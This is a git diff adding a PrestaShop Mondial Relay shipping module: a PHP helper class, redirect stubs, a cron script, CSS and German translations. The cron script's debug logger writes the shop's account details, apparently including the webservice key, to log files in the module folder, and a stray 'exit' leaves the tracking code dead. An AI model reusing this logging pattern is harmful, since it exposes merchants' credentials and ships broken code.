.chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235) + .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243) + .chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251) + .chr(252).chr(253).chr(255); + + $chars['out'] = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy"; + + $string = strtr($string, $chars['in'], $chars['out']); + $double_chars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254)); + $double_chars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th'); + $string = str_replace($double_chars['in'], $double_chars['out'], $string); + } + return $string; + } + + // Add for 1.3 compatibility and avoid duplicate code + public static function jsonEncode($result) + { + return (method_exists('Tools', 'jsonEncode')) ? + Tools::jsonEncode($result) : json_encode($result); + } + + /* + ** Fix security and compatibility for PS < 1.4.5 + */ + static function bqSQL($string) + { + return str_replace('`', '\`', pSQL($string)); + } + + /* + ** Check zip code by country + */ + static public function checkZipcodeByCountry($zipcode, $params) + { + $id_country = $params['id_country']; + + $zipcodeFormat = Db::getInstance()->getValue(' + SELECT `zip_code_format` + FROM `'._DB_PREFIX_.'country` + WHERE `id_country` = '.(int)$id_country); + + // -1 to warn user that no layout exist + if (!$zipcodeFormat) + return -1; + + $regxMask = str_replace( + array('N', 'C', 'L'), + array( + '[0-9]', + Country::getIsoById((int)$id_country), + '[a-zA-Z]'), + $zipcodeFormat); + if (preg_match('/'.$regxMask.'/', $zipcode)) + return true; + return false; + } + + static public function getFormatedPhone($phone_number) + { + $begin = substr($phone_number, 0, 3); + $pad_number = (strpos($begin, '+3') !== false) ? 12 : + (strpos($begin, '00') ? 13 : 10); + + return str_pad(substr(preg_replace(MRTools::REGEX_CLEAN_PHONE, '', $phone_number), 0, $pad_number), $pad_number, '0'); + } +} + +?> diff --git a/modules/mondialrelay/classes/index.php b/modules/mondialrelay/classes/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/mondialrelay/classes/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/cron.php b/modules/mondialrelay/cron.php new file mode 100755 index 0000000..87d9638 --- /dev/null +++ b/modules/mondialrelay/cron.php @@ -0,0 +1,114 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once('../../config/config.inc.php'); +include_once('mondialrelay.php'); + +if (Tools::getValue('secure_key') != Configuration::get('MONDIAL_RELAY_SECURE_KEY')) + exit; + +$account_shop = MondialRelay::getAccountDetail(); + +antadis_log(print_r($account_shop, true)); + +$expeditions = Db::getInstance()->executeS(' +SELECT ms.`exp_number`, ms.`id_cart`, o.`id_order` +FROM `'._DB_PREFIX_.'mr_selected` ms +LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.`id_cart` = ms.`id_cart`) +WHERE `exp_number` != 0'); + + +antadis_log(' EXPEDITION REQUEST : +SELECT ms.`exp_number`, ms.`id_cart`, o.`id_order` +FROM `'._DB_PREFIX_.'mr_selected` ms +LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.`id_cart` = ms.`id_cart`) +WHERE `exp_number` != 0'); + +if (empty($expeditions)) +{ + antadis_log('Aucune expedition disponible.'); + exit; +} + +$params = array( +'Enseigne' => $account_shop['MR_ENSEIGNE_WEBSERVICE'], +'Langue' => 'FR' +); + +antadis_log('params : '.print_r($params,true)); +exit; + +require_once(dirname(__FILE__).'/lib/nusoap/nusoap.php'); +$client_mr = new nusoap_client("http://www.mondialrelay.fr/webservice/Web_Services.asmx?WSDL", true); +$client_mr->soap_defencoding = 'UTF-8'; +$client_mr->decode_utf8 = false; + +foreach ($expeditions as $expedition) +{ + if ($expedition['id_order'] == NULL) + continue; + if (OrderHistory::getLastOrderState((int)($expedition['id_order']))->id == Configuration::get('PS_OS_DELIVERED')) + continue; + $params['Expedition'] = $expedition['exp_number']; + $params['Security'] = strtoupper(md5($params['Enseigne'].$params['Expedition'].'FR'.$account_shop['MR_KEY_WEBSERVICE'])); + + $is_delivered = 0; + $result_mr = $client_mr->call('WSI2_TracingColisDetaille', $params, 'http://www.mondialrelay.fr/webservice/', 'http://www.mondialrelay.fr/webservice/WSI2_TracingColisDetaille'); + if (isset($result_mr['WSI2_TracingColisDetailleResult']['Tracing']['ret_WSI2_sub_TracingColisDetaille'])) + foreach ($result_mr['WSI2_TracingColisDetailleResult']['Tracing']['ret_WSI2_sub_TracingColisDetaille'] as $result) + if (isset($result['Libelle']) AND $result['Libelle'] == 'COLIS LIVRÉ') + $is_delivered = 1; + + if ($is_delivered == 1) + { + $history = new OrderHistory(); + $history->id_order = (int)($expedition['id_order']); + $history->changeIdOrderState((int)(Configuration::get('PS_OS_DELIVERED')), (int)($expedition['id_order'])); + $history->addWithemail(); + } +} + + + + +function antadis_log($msg='') +{ + $file = dirname(__FILE__).'/logs/log_cron'.date("d-m-Y_H-i").'.txt'; + + if($fp = fopen($file, 'a+') ) + { + fseek($fp, SEEK_END); + + if($msg == '') + { + fputs($fp,''."\n"); + } + else + { + fputs($fp, '['.date('d/m/y - h:i:s'). '] # '.$msg."\n"); + } + } +} \ No newline at end of file diff --git a/modules/mondialrelay/css/index.php b/modules/mondialrelay/css/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/css/style.css b/modules/mondialrelay/css/style.css new file mode 100755 index 0000000..57b6c1d --- /dev/null +++ b/modules/mondialrelay/css/style.css @@ -0,0 +1,459 @@ +div.PS_MRFormType +{ + width:100%; + margin-top:20px; +} + +div.PS_MRFormType fieldset > ul +{ + list-style-type: none; +} + +div.PS_MRFormType fieldset > ul > li +{ + margin-top:10px; +} + +div.PS_MRFormType fieldset > ul > li > span.indication +{ + font-style:italic; + font-size:11px; + margin-left:5px; +} + +div.PS_MRFormType fieldset > ul > li.PS_MRSubmit +{ + text-align:center; +} + +div.PS_MRSubmitButton +{ + text-align:center; + margin-top:20px; +} + +.PS_MRRequireFields +{ + display:inline; + padding:2px 10px; +} + +tr.PS_MRErrorList td +{ + border: 1px solid #EC9B9B; + background-color: #FFE2E3; + color: #383838; + font-weight: 700; + line-height: 18px; + text-align:center; +} + +tr.PS_MRSuccessList td +{ + border: 1px solid #72CB67; + background-color: #DFFAD3; + color: #383838; + font-weight: 700; + line-height: 18px; + text-align:center; +} + +table#PS_MRHistoriqueTableList +{ + text-align:center; +} + +table#PS_MRHistoriqueTableList tr > td > img +{ + margin-bottom:5px; +} + +table#PS_MRHistoriqueTableList +{ + width:100%; +} + +table#PS_MRHistoriqueTableList tr +{ + height:30px; +} + +div#otherErrors +{ + display:none; +} + +div#otherErrors span +{ + text-align:left; +} + +div#PS_MRUnRemovedItem +{ + display:none; + color:#FF0000; +} + +.shippingList { + +} +.shippingList li { + margin: 5px; + display: block; + clear: both; +} +.shipLabel { + width: 230px; + float: left; + text-align: left; +} +.selectShipping { + width: 100px; +} +.settingsList { + width: 400px; + float: left; + margin-right: 10px; +} +.settingsList li { + display: block; + padding: 5px; + clear: both; +} +.upsLabel { + width: 170px; + float: left; + text-align: left; +} +.upsInput { + float: left; +} +.upsSubmit { + text-align: center; +} +.addMethodForm { + margin-bottom: 10px; +} + +table#orders +{ + width:100%; +} + +table#orders td +{ + text-align:center; + height: 30px; +} + +table#orders th +{ + text-align:center; + height: 40px; +} + +table#orders th.fixed +{ + width:70px; +} + +table#orders tr +{ + text-align:center; +} + +div.submit_button +{ + margin-top:10px; + text-align:center; +} + +div.PS_MRLoader +{ + display:none; +} + +.MR_form_admintab h3 +{ + margin: 10px; + margin-bottom: .5em; + line-height: 1.4em; +} + +div#PS_MRAskBackupContent +{ + border:1px solid #000; + background: url(../logo_hd.png) no-repeat 10px 50px #BEBEBE; + line-height:18px; + font-size:14px; + height:190px; +} + +div#PS_MRAskBackupContent div +{ + width:290px; + float:right; + margin-right:20px; + text-align: center; +} + +div#PS_MRAskBackupContent div > p +{ + line-height: 30px; +} + +div#PS_MRAskBackupContent h2 +{ + padding-top:10px; +} + +tr.PS_MRSelectedCarrier > td +{ + text-align: center; + border-bottom: 1px black; +} + +.PS_MRWarn +{ + border: 1px solid #D3C200; + background-color: #FFFAC6; + line-height: 20px; +} + +.PS_MRRelayPointInfo +{ + text-align: left; + vertical-align: top; + margin: 10px 0; + cursor: pointer; +} + +.PS_MRRelayPointInfo:hover +{ + background-color: #f4f4f4; +} + +.PS_MRRelayPointInfo img +{ + height: 40px; + float:left; + padding: 0 10px; +} + +.PS_MRRelayPointInfo p +{ + float:left; + width:360px; + text-align: justify; +} + +.PS_MRFloatRelayPointSelecteIt +{ + display:block; +} + +.PS_MRRelayPointInfo:hover .PS_MRFloatRelayPointSelecteIt +{ + display:block; +} + +.PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected +{ + color:#333333; + background:url(../images/selectRelayPoint.png) no-repeat 0px -25px; +} + +.PS_MRFloatRelayPointSelected +{ + display:block; +} + +.PS_MRFloatRelayPointSelecteIt a.PS_MRSelectRelayPointButton +{ + float:right; + display: block; + width: 60px; + height: 20px; + padding: 5px 20px 0px 25px; + color:#666666; + text-decoration: none; + margin-top: 8px; + background:url(../images/selectRelayPoint.png) no-repeat 0px 0px; +} + +.PS_MRFloatRelayPointSelected a.PS_MRSelectRelayPointButton +{ + font-size: 10px; + float:right; + display: block; + width: 60px; + height: 20px; + padding: 7px 20px 0px 25px; + text-decoration: none; + margin-top: 8px; + color:#333333; + background:url(../images/selectRelayPoint.png) no-repeat 0px -25px; +} + +a.PS_MRSelectRelayPointButton:hover +{ + color:#333333; + background:url(../images/selectRelayPoint.png) no-repeat 0px -25px; +} + +.PS_MRGmapDefaultPosition +{ + display:block; + clear:both; +} + +div.PS_MRGmapStyle +{ + width: 998px; + height:400px; + display: block; + margin:0 0 0 -20px; +} +.type-interior div.PS_MRGmapStyle +{ + width: 640px; + height:300px; + display: block; + margin:0 0 0 -20px; +} + +div#PS_MRPersonalizedFields +{ + display:none; +} + +.clearfix:before, +.clearfix:after +{ + content: "."; + display: block; + height: 0; + overflow: hidden +} +.clearfix:after {clear: both} +.clearfix {zoom: 1} + +.PS_MRGmapBulbe +{ + width:405px; + height:66px; + overflow: hidden; +} + +.MR_date {width:450px;position:relative;float:right; line-height: 9px;} +.MR_date span.titre {margin-left:50px;font-weight:bold;} +.MR_date span.vacances {margin-left:5px;color:Red; } +.MR_date table {border-spacing:3px;font-size:11pt; border: solid 1px #eee;} +.MR_date tr.p {background-color:#e9e9e9; height:9px;} +.MR_date td.g {font-weight:bold;} +.MR_date td.d {} + +/* 1.3 compatibility*/ +.MR_warn +{ + border: 1px solid #D3C200; + background-color: #FFFAC6; + color: #383838; + font-weight: 700; + margin: 0 0 10px 0; + line-height: 20px; + padding: 10px 0px; + text-align: center; +} + +/* 1.3 compatibility*/ +.MR_error +{ + border: 1px solid #EC9B9B; + background-color: #FAE2E3; + color: #383838; + font-weight: 700; + margin: 0 0 10px 0; + line-height: 20px; + padding: 10px 0px; + text-align: center; +} + +.MR_error ul > li, .MR_warn ul > li +{ + list-style: none; + text-align: left; +} + +/* 1.3 - 1.4 compatibility*/ +.MR_hint +{ + margin-top: 4px; + margin-bottom: 2px; + border: 1px solid #268CCD; + padding: 8px 6px 8px 34px; + color: #383838; + background: #F1F9FF url(../images/help.png) no-repeat 6px 5px; + border-radius: 3px; +} + +#MR_config_menu +{ + background-color: #F8F8F8; + border: 1px solid #CCC; + margin-bottom: 10px; + padding: 10px 0; + border-radius: 3px; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + border-image: initial; + height: 110px; +} + +#MR_config_menu ul +{ + margin: 0 auto; + padding: 0; + width:100%; +} + +#MR_config_menu ul > li +{ + color: #666; + float: left; + list-style: none outside none; + padding: 10px 40px; + text-align: center; +} + +#MR_config_menu ul > li.selected +{ + color: #383838; + font-weight: bolder; + border: 1px solid #CCC; + border-radius: 3px; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + background-color: #EBEDF4; +} + +#MR_config_menu ul > li.selected > a +{ + color: #383838; + font-weight: bolder; +} + +#MR_error_account +{ + display: none; + text-align: center; +} + +.PS_MRFormType +{ + display: none; +} + +.send_disable_carrier_form { + cursor: pointer; +} \ No newline at end of file diff --git a/modules/mondialrelay/de.php b/modules/mondialrelay/de.php new file mode 100755 index 0000000..1ef40f1 --- /dev/null +++ b/modules/mondialrelay/de.php @@ -0,0 +1,148 @@ +mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'An Mondial Relay Stützpunkte liefern.'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Ungültiger Mark-Code'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Ungültiger Webservice Schlüssel'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Ungültige Sprache'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Ungültiger Gewichtskoeffizient'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Ungültiger Versanddienstnamen'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Ungültiger Col-Modus'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Ungültiger Liefermodus'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Ungültiger Assurance-Modus'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'Sie müssen mindestens ein Zustellungsland angeben'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Ungültiger Bestellstatus'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Nb Versand:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'Label URL'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'Follow-up-URL'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Nb Abholpunkt:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Dieser Fehler ist nicht bekannt :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Bitte mindestens eine Bestellung auswählen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Dieser Schlüssel'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'ist leer und muss angegeben werden'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Die Anfrage scheint ungültig zu sein'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Fehler Nummer:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Detail:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Versand-Nummer:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'Ticket URL :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'Tracking URL:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Der Webservice von Mondial Relay ist zu r Zeit nicht erreichbar'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Bitte prüfen Sie Ihre Spracheinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Bitte prüfen Sie Ihre Namenseinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Bitte prüfen Sie Ihre Adresseneinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Bitte prüfen Sie Ihre Städteeinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Bitte prüfen Sie Ihre PLZ-Einstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_74cb73eddbe6eaf556023f943fc7e1fd'] = 'Das Format Ihrer PLZ entspricht nicht dem Länderformat oder Sie haben keine entsprechende PLZ angegeben.'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Bitte prüfen Sie Ihre Ländereinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Bitte prüfen Sie Ihre Telefonnummer-Einstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Bitte prüfen Sie Ihre Maileinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'Kudenadresse nicht gefunden'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'Der Schlüssel'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'hat kein gültiges Datenformat'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Die Anfrage ist ungültig:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'Fehler:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Details:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'Mondial Relay kann in Ihrer Nähe leider keinen Stützpunkt finden. Haben Sie Ihre Adresse korrekt angegeben ?'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Mondial Relay Seite ist im Moment nicht verfügbar.'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Der Schlüssel'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 'hat kein gültiges Datenformat'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Die Anfrage ist ungültig:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Fehler:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Details:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Der Webservice von Mondial Relay ist zu r Zeit nicht erreichbar'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Mondial Relay Uninstall'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Sie versuchen das Modul zu deinstallieren, alle Datenbankeinträge werden ebenso entfernt'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Daten belassen und deinstallieren'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Deaktivieren (alle Daten löschen) und deinstallieren'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'stornieren'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Einige Einträge konnten nicht entfernt werden, bitte versuchen Sie es noch einmal.'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Bitte wählen Sie mindestens ein Verlaufselement aus'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'Kundenadresse konnte nicht gefunden werden'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'Dieser Schlüssel'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'ist leer und muss angegeben werden'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Die Anfrage ist ungültig:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'Es ist ein Fehler in der Nummer vorhanden:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Details:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Montag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Dienstag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Mittwoch'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Donnerstag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Freitag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Samstag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Sonntag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Modial Relay Webservice ist im Moment nicht verfügbar.'; +$_MODULE['<{mondialrelay}prestashop>configuration_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Versandkosten'; +$_MODULE['<{mondialrelay}prestashop>configuration_fe4c6a5e7bd6793b37370e4e46daf998'] = 'Erweiterte Einstellungen'; +$_MODULE['<{mondialrelay}prestashop>configuration_5a2355a42ba3ab265701183c914467f2'] = 'Versuchen Sie den Cache und Kompilierung auf AUS zu stellen'; +$_MODULE['<{mondialrelay}prestashop>configuration_3de769f9a81eed916583d5b35c58dbdd'] = 'falls Sie mit dem Modul nach einer Aktualisierung Probleme haben sollten'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f8b21bd013b38d1e3059557c22a57e7'] = 'Nutzen Sie die folgende Kurzanleitung, um das Mondial Relay Modul zu konfigurieren.'; +$_MODULE['<{mondialrelay}prestashop>configuration_d21a9f93917604d5490ad529a7cf1ff9'] = 'So erstellen Sie eine Mondial Relay Lieferanten'; +$_MODULE['<{mondialrelay}prestashop>configuration_c6a2e6af5fff47adb3afd780b97d9b4b'] = 'Geben Sie Ihre Mondial Relay-Konto-Einstellungen ein und speichern Sie sie'; +$_MODULE['<{mondialrelay}prestashop>configuration_b962d8fb95f5a439f50502152f3bad71'] = 'Definieren Sie einen Preis für Ihren Lieferanten auf'; +$_MODULE['<{mondialrelay}prestashop>configuration_faf1247ae6846a9955a466d4f301bbe4'] = 'Der Lieferanten-Seite'; +$_MODULE['<{mondialrelay}prestashop>configuration_10d78806b84b97ebc774e9f6277af6ac'] = 'Um Etiketten zu generieren, müssen Sie eine gültige und registrierte Adresse Ihres Shops auf Ihrer'; +$_MODULE['<{mondialrelay}prestashop>configuration_af5efea250326c1c34d69aa9364b482c'] = 'Kontakt-Seite haben'; +$_MODULE['<{mondialrelay}prestashop>configuration_1ba3935c9858ffb8e19a35ca640b8505'] = 'Mondial Relay Kontoeinstellungen'; +$_MODULE['<{mondialrelay}prestashop>configuration_a125105400f6e4ee4574da3793af5ef2'] = 'Diese Parameter werden Ihnen von Mondialrelay mitgeteilt, sobald Sie den Dienst abonniert haben'; +$_MODULE['<{mondialrelay}prestashop>configuration_99244b234ec089eca40ff9e8ec343e87'] = 'Gramm = 1'; +$_MODULE['<{mondialrelay}prestashop>configuration_61cbc2d26b4157292673c772ddd6c0f7'] = 'Parameter aktualisieren'; +$_MODULE['<{mondialrelay}prestashop>configuration_70397c4b252a5168c5ec003931cea215'] = 'Pflichtfelder'; +$_MODULE['<{mondialrelay}prestashop>configuration_9ffc3ccc968a96d902af963c6d7b4e97'] = 'Erweiterte Einstellungen'; +$_MODULE['<{mondialrelay}prestashop>configuration_fcf5b2122da1d5a5f5c7253b96a3f9d9'] = 'URL Cron Task:'; +$_MODULE['<{mondialrelay}prestashop>configuration_66661dacf33146201b60dc16520ddd68'] = 'Fügen Sie eine Versandart hinzu'; +$_MODULE['<{mondialrelay}prestashop>configuration_531e144cc23ef08408b81cb4d9c641dc'] = 'Lieferantenname'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f497c1a3d15af9e0c215019f26b887d'] = 'Frist'; +$_MODULE['<{mondialrelay}prestashop>configuration_201bdb87f8e278b943d07ae924d5de6e'] = 'Liefer-Modus'; +$_MODULE['<{mondialrelay}prestashop>configuration_142ef02888af88b8b772335277d1c0c8'] = 'Lieferung an einen Abholpunkt'; +$_MODULE['<{mondialrelay}prestashop>configuration_eeab8b7cf3c7a558a0e8a4050fa994ca'] = 'Colis Drive Lieferung'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f7794b107749728c3333ef38d2687e8'] = 'Hauslieferung RDC (1 Person)'; +$_MODULE['<{mondialrelay}prestashop>configuration_e451efc8ce05b96b214b4c2935f2c657'] = 'Besondere Hauslieferung (2 Personen)'; +$_MODULE['<{mondialrelay}prestashop>configuration_eaff1bdf24fcffe0e14e29a1bff51a12'] = 'Versicherung'; +$_MODULE['<{mondialrelay}prestashop>configuration_96ba408f20bc3e065f400c650d32fd1a'] = 'Keine Versicherung'; +$_MODULE['<{mondialrelay}prestashop>configuration_e5a8fafb1dfb538c172e1e014e86b871'] = 'Zusatzversicherung Lv1'; +$_MODULE['<{mondialrelay}prestashop>configuration_b02f8d6d4b6217cca317161c87f64065'] = 'Zusatzversicherung Lv2'; +$_MODULE['<{mondialrelay}prestashop>configuration_90b95ae88150c6a34c4129dc4f1ebbd5'] = 'Zusatzversicherung Lv3'; +$_MODULE['<{mondialrelay}prestashop>configuration_c15b40b8c535191f6f0b6f9beaced3cf'] = 'Zusatzversicherung LV4'; +$_MODULE['<{mondialrelay}prestashop>configuration_b67a442fff3ca0a03ea253b0668f946d'] = 'Zusatzversicherung Lv5'; +$_MODULE['<{mondialrelay}prestashop>configuration_33cbd0d8b6476501f55a8320481ec0f1'] = 'Zustellländer:'; +$_MODULE['<{mondialrelay}prestashop>configuration_aef71ba4fd060dea2e2c76d1b5076caf'] = 'Halten Sie die die STRG-Taste gedrückt, um mehrere Länder zu wählen'; +$_MODULE['<{mondialrelay}prestashop>configuration_0309a6c666a7a803fdb9db95de71cf01'] = 'Frankreich'; +$_MODULE['<{mondialrelay}prestashop>configuration_6c1674d14bf5f95742f572cddb0641a7'] = 'Belgien'; +$_MODULE['<{mondialrelay}prestashop>configuration_06630c890abadde9228ea818ce52b621'] = 'Luxemburg'; +$_MODULE['<{mondialrelay}prestashop>configuration_907eba32d950bfab68227fd7ea22999b'] = 'Spanien'; +$_MODULE['<{mondialrelay}prestashop>configuration_0c24ec05a02c710cedd400e3680d8b81'] = 'Versandart-Liste'; +$_MODULE['<{mondialrelay}prestashop>configuration_14039af96b01e718a9c9d9c1259b6472'] = 'Keine Versandmethoden erstellt'; 